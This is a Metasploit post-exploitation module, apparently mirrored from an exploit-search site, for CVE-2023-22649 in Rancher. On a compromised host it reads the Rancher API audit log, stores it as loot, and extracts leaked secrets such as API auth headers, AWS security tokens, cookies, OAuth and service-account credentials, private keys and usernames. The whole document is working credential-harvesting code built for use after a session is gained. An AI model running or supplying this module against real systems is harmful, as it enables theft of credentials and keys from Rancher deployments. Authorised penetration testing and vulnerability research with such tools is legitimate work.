Share
## https://sploitus.com/exploit?id=MSF:POST-LINUX-GATHER-RANCHER_AUDIT_LOG_LEAK-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Rancher Audit Log Sensitive Information Leak',
        'Description' => %q{
          Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive
          contain a vulnerability where sensitive data is leaked into the audit logs.
          Rancher Audit Logging is an opt-in feature, only deployments that have it
          enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.

          Tested against rancher 2.6.0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
        ],
        'Platform' => ['linux', 'unix'],
        'SessionTypes' => ['shell', 'meterpreter'],
        'References' => [
          [ 'URL', 'https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr'],
          [ 'URL', 'https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options'],
          [ 'CVE', '2023-22649']
        ],
        'DisclosureDate' => '2024-02-08',
        'Notes' => {
          'Stability' => [],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )
    register_advanced_options [
      OptString.new('LOGFILE', [ true, 'The log file to analyze', '/var/log/auditlog/rancher-api-audit.log' ])
    ]
  end

  def run
    # docker install, and default path according to https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options
    fail_with Failure::BadConfig, "#{datastore['LOGFILE']} is not readable or not found" unless readable?(datastore['LOGFILE'])

    log = read_file(datastore['LOGFILE'])
    loot = store_loot('rancher.api.log', 'text/plain', session, log, 'rancher.api.txt', 'Rancher API Log')
    print_good("Rancher log saved to: #{loot}")

    usernames_found = []
    table = Rex::Text::Table.new('Header' => 'Leaked Information', 'Indent' => 1, 'Columns' => ['Field', 'Value', 'Location'])

    log.each_line do |line|
      leaky_request_headers = ['X-Api-Auth-Header', 'X-Amz-Security-Token']
      leaky_response_headers = ['X-Api-Set-Cookie-Header']
      leaky_request_body = ['credentials', 'applicationSecret', 'oauthCredential', 'serviceAccountCredential', 'spKey', 'spCert', 'certificate', 'privateKey']

      json_line = JSON.parse(line)

      if json_line.key? 'requestHeader'
        leaky_request_headers.each do |leaky_field|
          next unless json_line['requestHeader'].key? leaky_field

          secret = json_line['requestHeader'][leaky_field]
          secret = secret.join(' ') if secret.is_a?(Array)
          print_good("Found #{leaky_field} #{secret}")
          table << [leaky_field, secret, 'requestHeader']
        end
      end

      if json_line.key? 'responseHeader'
        leaky_response_headers.each do |leaky_field|
          next unless json_line['responseHeader'].key? leaky_field

          secret = json_line['responseHeader'][leaky_field]
          secret = secret.join(' ') if secret.is_a?(Array)
          print_good("Found #{leaky_field}: #{secret}")
          table << [leaky_field, secret, 'responseHeader']
        end
      end

      if json_line.key? 'requestBody'
        leaky_request_body.each do |leaky_field|
          next unless json_line['requestBody'].key? leaky_field

          secret = json_line['requestBody'][leaky_field]
          secret = secret.join(' ') if secret.is_a?(Array)
          print_good("Found #{leaky_field} in #{secret}")
          table << [leaky_field, secret, 'requestBody']
        end
      end

      if json_line.key? 'responseBody'
        leaky_request_body.each do |leaky_field|
          next unless json_line['responseBody'].key? leaky_field

          secret = json_line['responseBody'][leaky_field]
          secret = secret.join(' ') if secret.is_a?(Array)
          print_good("Found #{leaky_field} in #{secret}")
          table << [leaky_field, secret, 'responseBody']
        end
      end

      usernames = json_line.dig('user', 'extra', 'username')
      next if usernames.nil?

      usernames_found += usernames
    end

    usernames_found.uniq.each do |username|
      table << ['Username', username, 'Requests']
    end

    print_line
    print_line(table.to_s)
  end
end